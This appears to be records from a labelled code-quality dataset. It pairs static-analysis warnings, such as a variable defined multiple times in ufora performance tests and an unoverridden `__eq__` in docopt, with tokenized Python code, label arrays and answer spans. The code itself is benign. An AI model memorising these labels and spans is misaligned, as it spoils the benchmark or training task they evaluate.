"\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "inst_", ",_", "inst", "2a", "ns_", "[_", "inst", "id_", "]_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unicode_", "(_", "context", "\\u", "sent_", ")_", ",_", "unicode_", "(_", "context", "\\u", "doc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sentences_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "instance", "s", " ", "by", " ", "sentence", "s", ",", " ", "and", " ", "yield", "s", " ", "a", " ", "list", " ", "of", " ", "token", "s", ",", "\\", "10", ";", " ", " ", " ", " ", "similar", " ", "to", " ", "the", " ", "pyw", "sd", ".", "sem", "cor", ".", "sentence", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "coarse", "\\u", "ws", "d", " ", "=", " ", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "sent", " ", "in", " ", "coarse", "\\u", "ws", "d", ".", "sentence", "s", "():", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "token", " ", "in", " ", "sent", ":", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", " ", " ", " ", " ", "print", " ", "token", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", " ", " ", " ", " ", "break", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "break", "\\", "10", ";", " ", " ", " ", " ", "word", "(", "id", "=", "Non", "e", ",", " ", "text", "=", "u", "'", "You", "r", "',", " ", "offset", "=", "Non", "e", ",", " ", "sent", "id", "=", "0", ",", " ", "para", "id", "=", "u", "'", "d0", "01", "',", " ", "term", "=", "Non", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sent", "id_", ",_", "ys_", "in_", "enumerate_", "(_", "self_", "._", "yield", "\\u", "sentences_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sent_", ",_", "context", "\\u", "sent_", ",_", "context", "\\u", "doc_", ",_", "inst", "2a", "ns_", ",_", "texti", "d_", "=_", "ys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "instances_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "instance_", "in_", "sent_", "._", "find", "All_", "(_", "'", "instance", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inst", "id_", "=_", "instance_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lemma_", "=_", "instance_", "[_", "'", "lemma", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word_", "=_", "instance_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "instances_", "[_", "inst", "id_", "]_", "=_", "Instance_", "(_", "inst", "id_", ",_", "lemma_", ",_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tokens_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "sent_", ":_", "#", " ", "Iterat", "es", " ", "through", " ", "Bea", "uti", "ful", "Sou", "p", " ", "object", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "str_", "(_", "i_", ")_", "._", "startswith_", "(_", "'<", "instance", "'_", ")_", ":_", "#", " ", "Bea", "uti", "ful", "Sou", "p", ".", "Tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "inst", "id_", "=_", "sent_", "._", "find_", "(_", "'", "instance", "'_", ")_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst_", "=_", "instances_", "[_", "inst", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "answer_", "=_", "inst", "2a", "ns_", "[_", "inst", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "term_", "=_", "Term_", "(_", "inst", "id_", ",_", "answer_", "._", "pos_", ",_", "inst_", "._", "lemma_", ",_", "answer_", "._", "sense", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "'", "open", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tokens_", "._", "append_", "(_", "Word_", "(_", "inst", "id_", ",_", "inst_", "._", "word_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sent", "id_", ",_", "texti", "d_", ",_", "term_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "if", " ", "Bea", "uti", "ful", "Sou", "p", ".", "Nav", "iga", "ble", "String_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tokens_", "+=_", "[_", "Word_", "(_", "None_", ",_", "w_", ",_", "sent", "id_", ",_", "texti", "d_", ",_", "None_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "w_", "in_", "i_", "._", "split_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Iterat", "or", " ", "function", ",", " ", "duck", "-", "type", " ", "of", " ", "test\\u", "instance", "s", "()", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "sentences_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
ufora/ufora/test_scripts/bigbox_perf/data/testBigboxPerf.py
[ { "content": " def dataCreationTest(self, totalMB, workers, threadsPerWorker, testName):\n s3 = InMemoryS3Interface.InMemoryS3InterfaceFactory()\n\n #we wish we could actually test that we achieve saturation here but we can't yet.\n text = \"\"\"size(Vector.range(%s, {_*_}))\"\"\" % (totalMB * 1024 * 1024 / 8)\n\n t0 = time.time()\n\n result,simulation = self.computeUsingSeveralWorkers(\n \"1+1\",\n s3,\n workers,\n timeout = 120,\n memoryLimitMb = 55 * 1024 / workers,\n threadCount = threadsPerWorker,\n returnSimulation = True,\n useInMemoryCache = False\n )\n\n try:\n t0 = time.time()\n result = simulation.compute(text, timeout=120)\n totalTimeToReturnResult = time.time() - t0\n\n PerformanceTestReporter.recordTest(testName, totalTimeToReturnResult, None)\n finally:\n simulation.teardown()", "metadata": "root.BigboxPerformanceTest.dataCreationTest", "header": "['class', 'BigboxPerformanceTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 132 }, { "content": " @PerformanceTestReporter.PerfTest(\"python.BigBox.DataAsString.byteToStringAndBack\")\n def test_byteToStringAndBackInDifferentPatterns(self):\n s3 = ActualS3Interface.ActualS3InterfaceFactory()\n\n setupText = (\n \"\"\"\n let ds = Vector.range(3000000000, {UInt8(_%100)});\n\n let dat = Vector.range(100, fun(block) {\n Vector.range(1000000, fun(o) { let base = block * 10000000 + o * 10; (base, base + 10) })\n });\n\n (ds, dat, dat.sum())\n \"\"\"\n )\n\n setupResults, simulation = self.computeUsingSeveralWorkers(\n setupText,\n s3,\n 1,\n memoryLimitMb=45 * 1024,\n threadCount=30,\n returnSimulation=True,\n ioTaskThreadOverride=8,\n useInMemoryCache=False,\n timeout=30,\n objectStore=self.createObjectStore(s3)\n )\n\n try:\n ds, dat, datSum = setupResults.asResult.result\n\n t0 = time.time()\n result = simulation.compute(\n \"size(datSum ~~ { ds[_[0],_[1]].dataAsString }) == size(datSum)\",\n timeout=120,\n ds=ds,\n dat=dat,\n datSum=datSum\n )\n PerformanceTestReporter.recordTest(\n \"python.BigBox.DataAsString.FlatVector\",\n time.time() - t0,\n None\n )\n\n t0 = time.time()\n result = simulation.compute(\n \"size(dat ~~ {_ ~~ { ds[_[0],_[1]].dataAsString } }) == size(dat)\",\n timeout=120,\n ds=ds,\n dat=dat,\n datSum=datSum\n )\n PerformanceTestReporter.recordTest(\n \"python.BigBox.DataAsString.NestedVector\",\n time.time() - t0,\n None\n )\n finally:\n simulation.teardown()", "metadata": "root.BigboxPerformanceTest.test_byteToStringAndBackInDifferentPatterns", "header": "['class', 'BigboxPerformanceTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 175 } ]
[ { "span": "t0 ", "start_line": 138, "start_column": 8, "end_line": 138, "end_column": 10 }, { "span": "result ", "start_line": 208, "start_column": 12, "end_line": 208, "end_column": 18 } ]
[ { "span": "t0 ", "start_line": 152, "start_column": 12, "end_line": 152, "end_column": 14 }, { "span": "result ", "start_line": 222, "start_column": 12, "end_line": 222, "end_column": 18 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Big", "box", "Perform", "anc", "e", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "data", "Creat", "ion", "Test_", "(_", "self_", ",_", "total", "MB_", ",_", "workers_", ",_", "thread", "s", "Per", "Worker_", ",_", "test", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s3_", "=_", "In", "Memo", "ry", "S", "3", "Interface_", "._", "In", "Memo", "ry", "S", "3", "Interface", "Factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "we", " ", "wish", " ", "we", " ", "coul", "d", " ", "actual", "ly", " ", "test", " ", "tha", "t", " ", "we", " ", "achieve", " ", "saturation", " ", "here", " ", "but", " ", "we", " ", "can", "'", "t", " ", "ye", "t", "._", "\\u\\u\\uNL\\u\\u\\u_", "text_", "=_", "\"\"\"", "size", "(", "Vector", ".", "range", "(%", "s", ",", " ", "{\\u", "*\\u", "}))", "\"\"\"_", "%_", "(_", "total", "MB_", "*_", "1024_", "*_", "1024_", "/_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t0_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", ",_", "simulation_", "=_", "self_", "._", "compute", "Us", "ing", "Seve", "ral", "Worke", "rs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "1", "+", "1", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "workers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "120_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "memory", "Limit", "Mb", "_", "=_", "55_", "*_", "1024_", "/_", "workers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "thread", "Count_", "=_", "thread", "s", "Per", "Worker_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "return", "Simulation_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "use", "In", "Memo", "ry", "Cache_", "=_", "False_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t0_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "simulation_", "._", "compute_", "(_", "text_", ",_", "timeout_", "=_", "120_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total", "Time", "To", "Return", "Result_", "=_", "time_", "._", "time_", "(_", ")_", "-_", "t0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Perform", "anc", "e", "Test", "Reporter_", "._", "record", "Test_", "(_", "test", "Name_", ",_", "total", "Time", "To", "Return", "Result_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "simulation_", "._", "teardown_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Big", "box", "Perform", "anc", "e", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Perform", "anc", "e", "Test", "Reporter_", "._", "Perf", "Test_", "(_", "\"", "python", ".", "Big", "Box", ".", "Data", "As", "String", ".", "byte", "To", "String", "And", "Back", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "byte", "To", "String", "And", "Back", "In", "Different", "Patterns", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s3_", "=_", "Actual", "S", "3", "Interface_", "._", "Actual", "S", "3", "Interface", "Factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup", "Text_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "let", " ", "ds", " ", "=", " ", "Vector", ".", "range", "(", "3000000", "000", ",", " ", "{", "UI", "nt", "8", "(\\u", "%", "100", ")}", ");", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "let", " ", "dat", " ", "=", " ", "Vector", ".", "range", "(", "100", ",", " ", "fun", "(", "block", ")", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "Vector", ".", "range", "(", "1000000", ",", " ", "fun", "(", "o", ")", " ", "{", " ", "let", " ", "base", " ", "=", " ", "block", " ", "*", " ", "10000000", " ", "+", " ", "o", " ", "*", " ", "10", ";", " ", "(", "base", ",", " ", "base", " ", "+", " ", "10", ")", " ", "})", "\\", "10", ";", " ", " ", " ", " ", "})", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "(", "ds", ",", " ", "dat", ",", " ", "dat", ".", "sum", "())", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup", "Results_", ",_", "simulation_", "=_", "self_", "._", "compute", "Us", "ing", "Seve", "ral", "Worke", "rs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "setup", "Text_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "memory", "Limit", "Mb", "_", "=_", "45_", "*_", "1024_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "thread", "Count_", "=_", "30_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "return", "Simulation_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "io", "Task", "Thread", "Override", "_", "=_", "8_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "use", "In", "Memo", "ry", "Cache_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "30_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "object", "Store_", "=_", "self_", "._", "create", "Object", "Store_", "(_", "s3_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ds_", ",_", "dat_", ",_", "dat", "Sum_", "=_", "setup", "Results_", "._", "as", "Result_", "._", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t0_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "simulation_", "._", "compute_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "size", "(", "dat", "Sum", " ", "~~", " ", "{", " ", "ds", "[\\u", "[", "0", "],", "\\u", "[", "1", "]]", ".", "data", "As", "String", " ", "})", " ", "==", " ", "size", "(", "dat", "Sum", ")\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "120_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ds_", "=_", "ds_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dat_", "=_", "dat_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dat", "Sum_", "=_", "dat", "Sum_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Perform", "anc", "e", "Test", "Reporter_", "._", "record", "Test_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "python", ".", "Big", "Box", ".", "Data", "As", "String", ".", "Flat", "Vector", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "time_", "(_", ")_", "-_", "t0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t0_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "simulation_", "._", "compute_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "size", "(", "dat", " ", "~~", " ", "{\\u", " ", "~~", " ", "{", " ", "ds", "[\\u", "[", "0", "],", "\\u", "[", "1", "]]", ".", "data", "As", "String", " ", "}", " ", "})", " ", "==", " ", "size", "(", "dat", ")\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "120_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ds_", "=_", "ds_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dat_", "=_", "dat_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dat", "Sum_", "=_", "dat", "Sum_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Perform", "anc", "e", "Test", "Reporter_", "._", "record", "Test_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "python", ".", "Big", "Box", ".", "Data", "As", "String", ".", "Nest", "ed", "Vector", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "time_", "(_", ")_", "-_", "t0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "simulation_", "._", "teardown_", "(_", ")_", "\\u\\u\\uNEWLINE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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__eq__` not overridden when adding attributes
kmike/port-for/port_for/docopt.py
[ { "content": "class Pattern(object):\n\n\n\n\n\n\n\n\n", "metadata": "root.Pattern", "header": "['module', '___EOS___']", "index": 20 }, { "content": " def __init__(self, *children):\n self.children = list(children)", "metadata": "root.Pattern.__init__", "header": "['class', 'Pattern', '(', 'object', ')', ':', '___EOS___']", "index": 22 }, { "content": " def __eq__(self, other):\n return repr(self) == repr(other)", "metadata": "root.Pattern.__eq__", "header": "['class', 'Pattern', '(', 'object', ')', ':', '___EOS___']", "index": 25 }, { "content": " def __hash__(self):\n return hash(repr(self))", "metadata": "root.Pattern.__hash__", "header": "['class', 'Pattern', '(', 'object', ')', ':', '___EOS___']", "index": 28 }, { "content": " def __repr__(self):\n return '%s(%s)' % (self.__class__.__name__,\n ', '.join(repr(a) for a in self.children))", "metadata": "root.Pattern.__repr__", "header": "['class', 'Pattern', '(', 'object', ')', ':', '___EOS___']", "index": 31 }, { "content": " @property\n def flat(self):\n if not hasattr(self, 'children'):\n return [self]\n return sum([c.flat for c in self.children], [])", "metadata": "root.Pattern.flat", "header": "['class', 'Pattern', '(', 'object', ')', ':', '___EOS___']", "index": 35 }, { "content": " def fix(self):\n self.fix_identities()\n self.fix_list_arguments()\n return self", "metadata": "root.Pattern.fix", "header": "['class', 'Pattern', '(', 'object', ')', ':', '___EOS___']", "index": 41 }, { "content": " def fix_identities(self, uniq=None):\n \"\"\"Make pattern-tree tips point to same object if they are equal.\"\"\"\n if not hasattr(self, 'children'):\n return self\n uniq = list(set(self.flat)) if uniq == None else uniq\n for i, c in enumerate(self.children):\n if not hasattr(c, 'children'):\n assert c in uniq\n self.children[i] = uniq[uniq.index(c)]\n else:\n c.fix_identities(uniq)", "metadata": "root.Pattern.fix_identities", "header": "['class', 'Pattern', '(', 'object', ')', ':', '___EOS___']", "index": 46 }, { "content": " def fix_list_arguments(self):\n \"\"\"Find arguments that should accumulate values and fix them.\"\"\"\n either = [list(c.children) for c in self.either.children]\n for case in either:\n case = [c for c in case if case.count(c) > 1]\n for a in [e for e in case if type(e) == Argument]:\n a.value = []\n return self", "metadata": "root.Pattern.fix_list_arguments", "header": "['class', 'Pattern', '(', 'object', ')', ':', '___EOS___']", "index": 58 }, { "content": " @property\n def either(self):\n \"\"\"Transform pattern into an equivalent, with only top-level Either.\"\"\"\n # Currently the pattern will not be equivalent, but more \"narrow\",\n # although good enough to reason about list arguments.\n if not hasattr(self, 'children'):\n return Either(Required(self))\n else:\n ret = []\n groups = [[self]]\n while groups:\n children = groups.pop(0)\n types = [type(c) for c in children]\n if Either in types:\n either = [c for c in children if type(c) is Either][0]\n children.pop(children.index(either))\n for c in either.children:\n groups.append([c] + children)\n elif Required in types:\n required = [c for c in children if type(c) is Required][0]\n children.pop(children.index(required))\n groups.append(list(required.children) + children)\n elif Optional in types:\n optional = [c for c in children if type(c) is Optional][0]\n children.pop(children.index(optional))\n groups.append(list(optional.children) + children)\n elif OneOrMore in types:\n oneormore = [c for c in children if type(c) is OneOrMore][0]\n children.pop(children.index(oneormore))\n groups.append(list(oneormore.children) * 2 + children)\n else:\n ret.append(children)\n return Either(*[Required(*e) for e in ret])", "metadata": "root.Pattern.either", "header": "['class', 'Pattern', '(', 'object', ')', ':', '___EOS___']", "index": 67 }, { "content": "class Argument(Pattern):\n\n\n", "metadata": "root.Argument", "header": "['module', '___EOS___']", "index": 102 }, { "content": " def __init__(self, name, value=None):\n self.name = name\n self.value = value", "metadata": "root.Argument.__init__", "header": "['class', 'Argument', '(', 'Pattern', ')', ':', '___EOS___']", "index": 104 }, { "content": " def match(self, left, collected=None):\n collected = [] if collected is None else collected\n args = [l for l in left if type(l) is Argument]\n if not len(args):\n return False, left, collected\n left.remove(args[0])\n if type(self.value) is not list:\n return True, left, collected + [Argument(self.name, args[0].value)]\n same_name = [a for a in collected\n if type(a) is Argument and a.name == self.name]\n if len(same_name):\n same_name[0].value += [args[0].value]\n return True, left, collected\n else:\n return True, left, collected + [Argument(self.name,\n [args[0].value])]", "metadata": "root.Argument.match", "header": "['class', 'Argument', '(', 'Pattern', ')', ':', '___EOS___']", "index": 108 }, { "content": " def __repr__(self):\n return 'Argument(%r, %r)' % (self.name, self.value)", "metadata": "root.Argument.__repr__", "header": "['class', 'Argument', '(', 'Pattern', ')', ':', '___EOS___']", "index": 125 }, { "content": "class Command(Pattern):\n\n\n", "metadata": "root.Command", "header": "['module', '___EOS___']", "index": 129 }, { "content": " def __init__(self, name, value=False):\n self.name = name\n self.value = value", "metadata": "root.Command.__init__", "header": "['class', 'Command', '(', 'Pattern', ')', ':', '___EOS___']", "index": 131 }, { "content": " def match(self, left, collected=None):\n collected = [] if collected is None else collected\n args = [l for l in left if type(l) is Argument]\n if not len(args) or args[0].value != self.name:\n return False, left, collected\n left.remove(args[0])\n return True, left, collected + [Command(self.name, True)]", "metadata": "root.Command.match", "header": "['class', 'Command', '(', 'Pattern', ')', ':', '___EOS___']", "index": 135 }, { "content": " def __repr__(self):\n return 'Command(%r, %r)' % (self.name, self.value)", "metadata": "root.Command.__repr__", "header": "['class', 'Command', '(', 'Pattern', ')', ':', '___EOS___']", "index": 143 }, { "content": "class Option(Pattern):\n\n\n\n\n", "metadata": "root.Option", "header": "['module', '___EOS___']", "index": 147 }, { "content": " def __init__(self, short=None, long=None, argcount=0, value=False):\n assert argcount in (0, 1)\n self.short, self.long = short, long\n self.argcount, self.value = argcount, value\n self.value = None if value == False and argcount else value # HACK", "metadata": "root.Option.__init__", "header": "['class', 'Option', '(', 'Pattern', ')', ':', '___EOS___']", "index": 149 }, { "content": " @classmethod\n def parse(class_, option_description):\n short, long, argcount, value = None, None, 0, False\n options, _, description = option_description.strip().partition(' ')\n options = options.replace(',', ' ').replace('=', ' ')\n for s in options.split():\n if s.startswith('--'):\n long 